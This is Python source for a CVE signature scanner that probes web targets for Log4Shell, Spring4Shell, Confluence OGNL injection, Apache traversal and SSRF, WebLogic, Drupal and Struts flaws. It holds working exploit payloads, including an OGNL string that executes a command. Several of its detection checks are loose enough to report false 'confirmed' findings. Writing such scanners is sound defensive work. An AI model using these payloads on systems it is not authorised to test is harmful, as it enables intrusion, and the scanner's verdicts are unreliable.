Spaces:
Running on CPU Upgrade
Running on CPU Upgrade
| import json | |
| import urllib.request | |
| import urllib.error | |
| import urllib.parse | |
| import ssl | |
| from scanners.base_scanner import BaseScanner | |
| CVE_SIGNATURES = [ | |
| { | |
| "id": "CVE-2021-44228", | |
| "name": "Log4Shell", | |
| "severity": "Critical", | |
| "cvss": 10.0, | |
| "affected": ["Apache Log4j 2.x < 2.15.0"], | |
| "probe": {"header": "${jndi:ldap://127.0.0.1/a}", "param": "q"}, | |
| "detect": lambda code, body, headers: code == 500, | |
| }, | |
| { | |
| "id": "CVE-2022-22965", | |
| "name": "Spring4Shell", | |
| "severity": "Critical", | |
| "cvss": 9.8, | |
| "affected": ["Spring Framework 5.3.x < 5.3.18", "5.2.x < 5.2.20"], | |
| "probe": { | |
| "param": "class.module.classLoader.URLs%5B0%5D=0", | |
| }, | |
| "detect": lambda code, body, headers: code == 400, | |
| }, | |
| { | |
| "id": "CVE-2022-26134", | |
| "name": "Confluence OGNL Injection", | |
| "severity": "Critical", | |
| "cvss": 9.8, | |
| "affected": ["Atlassian Confluence Server/DC < 7.18.0"], | |
| "probe": { | |
| "path_payload": "%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/" | |
| }, | |
| "detect": lambda code, body, headers: "X-Cmd-Response" in headers, | |
| }, | |
| { | |
| "id": "CVE-2021-41773", | |
| "name": "Apache HTTP Server Path Traversal", | |
| "severity": "High", | |
| "cvss": 7.5, | |
| "affected": ["Apache HTTP Server 2.4.49"], | |
| "probe": {"path": "/cgi-bin/.%2e/%2e%2e/bin/sh"}, | |
| "detect": lambda code, body, headers: code == 200 and "root:" in body, | |
| }, | |
| { | |
| "id": "CVE-2021-40438", | |
| "name": "Apache HTTP Server SSRF", | |
| "severity": "High", | |
| "cvss": 8.1, | |
| "affected": ["Apache HTTP Server 2.4.x < 2.4.49"], | |
| "probe": {"path": "/?unix:xxx|http://127.0.0.1:80"}, | |
| "detect": lambda code, body, headers: code not in (404, 400), | |
| }, | |
| { | |
| "id": "CVE-2020-14750", | |
| "name": "Oracle WebLogic Authentication Bypass", | |
| "severity": "Critical", | |
| "cvss": 9.8, | |
| "affected": ["Oracle WebLogic 10.3.6", "12.1.3", "12.2.1.3", "12.2.1.4", "14.1.1.0"], | |
| "probe": {"path": "/console/css/%2e%2e%2fconsole.portal"}, | |
| "detect": lambda code, body, headers: code == 200 and "WebLogic" in body, | |
| }, | |
| { | |
| "id": "CVE-2018-7600", | |
| "name": "Drupalgeddon 2 (RCE)", | |
| "severity": "Critical", | |
| "cvss": 9.8, | |
| "affected": ["Drupal 7.x < 7.58", "8.x < 8.5.1"], | |
| "probe": {"path": "/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"}, | |
| "detect": lambda code, body, headers: "drupal_ajax" in body, | |
| }, | |
| { | |
| "id": "CVE-2017-9791", | |
| "name": "Apache Struts S2-048 (RCE)", | |
| "severity": "Critical", | |
| "cvss": 9.8, | |
| "affected": ["Apache Struts 2.3.x < 2.3.32"], | |
| "probe": {"path": "/struts2-showcase/integration/saveGangster.action"}, | |
| "detect": lambda code, body, headers: code == 200 and "struts" in body.lower(), | |
| }, | |
| ] | |
| class CveScanner(BaseScanner): | |
| SCANNER_NAME = "Known Exploits & CVE Signature Scanner" | |
| def __init__(self, scan_id, target, domain, **kwargs): | |
| super().__init__(scan_id, target, domain, **kwargs) | |
| self.base_url = target.rstrip("/") | |
| def run(self): | |
| self.log("INFO", | |
| f"[CVE] Starting signature checks against {len(CVE_SIGNATURES)} CVEs on {self.target}...") | |
| try: | |
| for cve in CVE_SIGNATURES: | |
| self._check_cve(cve) | |
| except Exception as e: | |
| self.log("WARNING", f"[CVE] Error during scan: {e}") | |
| self.log( | |
| "SUCCESS" if not self.vulns else "WARNING", | |
| f"[CVE] Checks complete. {len(self.vulns)} CVE(s) confirmed.", | |
| ) | |
| return self.vulns | |
| def _check_cve(self, cve: dict): | |
| probe = cve.get("probe", {}) | |
| detect = cve.get("detect") | |
| headers = {"User-Agent": "LarShield/2.0 CVE-Scanner"} | |
| try: | |
| path = probe.get("path", "") | |
| path_payload = probe.get("path_payload", "") | |
| param = probe.get("param", "") | |
| header_val = probe.get("header", "") | |
| query_str = probe.get("param", "") | |
| test_url = f"{self.base_url}{path}" | |
| if path_payload: | |
| test_url = f"{self.base_url}/{path_payload}" | |
| if query_str and not path: | |
| test_url = f"{self.base_url}/?{query_str}" | |
| req_headers = dict(headers) | |
| if header_val: | |
| req_headers["User-Agent"] = header_val | |
| req_headers["X-Forwarded-For"] = header_val | |
| req_headers["Referer"] = header_val | |
| ctx = self.get_ssl_context() | |
| req = urllib.request.Request(test_url, headers=req_headers) | |
| try: | |
| with urllib.request.urlopen(req, timeout=5, context=ctx) as resp: | |
| body = resp.read(4096).decode("utf-8", errors="ignore") | |
| code = resp.status | |
| resp_headers = resp.headers | |
| except urllib.error.HTTPError as e: | |
| body = e.read(4096).decode("utf-8", errors="ignore") if e.fp else "" | |
| code = e.code | |
| resp_headers = e.headers if hasattr(e, "headers") else {} | |
| except Exception as e: | |
| self.log("ERROR", f"[CVE] _check_cve request error: {e}") | |
| return | |
| if detect and detect(code, body, resp_headers): | |
| self.log("CRITICAL", | |
| f"[CVE] Confirmed: {cve['name']} ({cve['id']})") | |
| self.add_vuln( | |
| title=f"{cve['name']} ({cve['id']})", | |
| severity=cve["severity"], | |
| category="Known Exploit / CVE", | |
| cvss_score=cve["cvss"], | |
| description=f"The target appears vulnerable to {cve['name']} ({cve['id']}).\n" | |
| f"Affected: {', '.join(cve['affected'])}", | |
| remediation=f"Apply the latest security patch for {cve['id']}. " | |
| f"Refer to vendor advisory for detailed mitigation steps.", | |
| evidence=f"HTTP {code} with matching signature", | |
| request_details=f"GET {test_url}", | |
| ) | |
| except Exception as e: | |
| self.log("ERROR", f"[CVE] _check_cve error: {e}") | |